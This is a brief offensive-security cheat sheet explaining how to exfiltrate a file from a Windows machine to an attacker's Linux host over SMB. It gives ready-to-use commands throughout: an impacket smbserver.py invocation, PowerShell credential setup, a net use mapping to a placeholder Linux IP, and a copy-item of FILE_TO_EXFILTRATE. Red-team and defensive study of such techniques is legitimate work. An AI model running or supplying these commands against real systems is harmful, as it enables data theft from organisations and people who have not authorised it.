On Linux machine start a SMB server creating a share called SHARE
inside a directory:
smbserver.py -smb2support -user test -password test SHARE `pwd`
From Windows create username
, password
and then credential
variable. Define also the source path to file to exfiltrate:
$username = "test"
$password = "test"
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential($username, $securePassword)
$sourcePath = "C:\\temp\\FILE_TO_EXFILTRATE"
Map remote SMB share to a local drive:
net use z: \\\\<IP.LINUX.MACHINE>\\SHARE /user:test test
Finally copy the file to SMB share:
copy-item -path $sourcepath -destination z: